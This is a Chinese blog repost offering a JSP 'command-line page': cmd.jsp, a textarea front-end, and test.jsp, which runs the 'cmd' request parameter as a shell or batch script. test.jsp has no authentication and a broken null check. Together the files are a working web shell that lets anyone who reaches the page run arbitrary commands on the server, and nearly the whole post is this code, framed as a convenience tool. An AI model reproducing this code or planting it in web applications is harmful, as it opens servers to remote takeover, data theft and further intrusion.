jsp命令行页面-执行shell

来源:互联网 发布:python reduce 函数 编辑:程序博客网 时间:2024/06/14 03:31

下载地址:http://download.csdn.net/detail/yx511500623/6855599

看效果截图:

jsp文件如下:

放在同一目录下,需要导入jquery,jquery版本最低1.7:

cmd.jsp

<%@ page contentType="text/html; charset=utf-8" language="java" import="java.io.BufferedReader,java.io.File,java.io.FileOutputStream,java.io.InputStreamReader;"%><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>jsp命令行页面</title><style>textarea{background-color: #000;color:red;width:100%;}</style></head><body>请输入命令:<br/><textarea rows="30" cols="100" id="cmd" ></textarea><br/></body></html><script type="text/javascript" src="jquery-1.7.2.min.js"></script><script type="text/javascript">$(function(){$("#cmd").keydown(function(event){if(event.keyCode==13){var cmd=getStrByLastLine();//处理空格log("开始执行:"+cmd);//执行结果$.get("test.jsp",{'cmd':""+cmd+""},function(data){  data.replace("\n","");  log("执行结果: " + data);  $("#cmd").val($("#cmd").val()+data);  //滚到最下方  $("#cmd")[0].scrollTop = $("#cmd")[0].scrollHeight;});}});});function log(msg){if(!msg) return;if(!console) return;console.log(msg);}//获取textarea最后一行function getStrByLastLine(){var str=document.getElementById("cmd").value,arr;//获取文本域内容 if(document.all){ // 如果是IE arr=str.split("\n"); }else{ // firfox arr=str.split("\n"); }log(arr.length);if(arr.length<1) return "";for(var i=arr.length-1;i>0;i--){if(arr[i]!=""&&arr[i]!=" ")  return arr[i];}return arr[arr.length-1];}</script>

test.jsp

<%@ page contentType="text/html; charset=utf-8" language="java" import="java.io.BufferedReader,java.io.File,java.io.FileOutputStream,java.io.InputStreamReader;"%><%!    private String execCMD(String cmd){if(cmd==null||cmd=="") return "";String fileName="xxxxx.bat";if(!System.getProperties().getProperty("os.name").toLowerCase().startsWith("win"))fileName="xxxxx.sh";//写入文件try {File f=new File(fileName);if(!f.exists()) f.createNewFile();FileOutputStream osOutputStream;osOutputStream = new FileOutputStream(f);if(!"xxxxx.bat".equals(fileName)) osOutputStream.write("#!/bin/sh\n".getBytes());osOutputStream.write(cmd.getBytes());osOutputStream.close();} catch (Exception e) {e.printStackTrace();return e.getMessage();}//执行命令StringBuilder sb=new StringBuilder();BufferedReader br = null;Process p =null;try {p = Runtime.getRuntime().exec(fileName);br = new BufferedReader(new InputStreamReader(p.getInputStream()));String line = null;while ((line = br.readLine()) != null) {sb.append(line+"\n");}} catch (Exception e) {e.printStackTrace();return e.getMessage();} finally {if (br != null) {try {br.close();p.destroy();} catch (Exception e) {e.printStackTrace();}}}return sb.toString();}%><%String cmd=request.getParameter("cmd");if(cmd!=""||cmd!=null){response.getWriter().write(execCMD(cmd));}%>



0 0
原创粉丝点击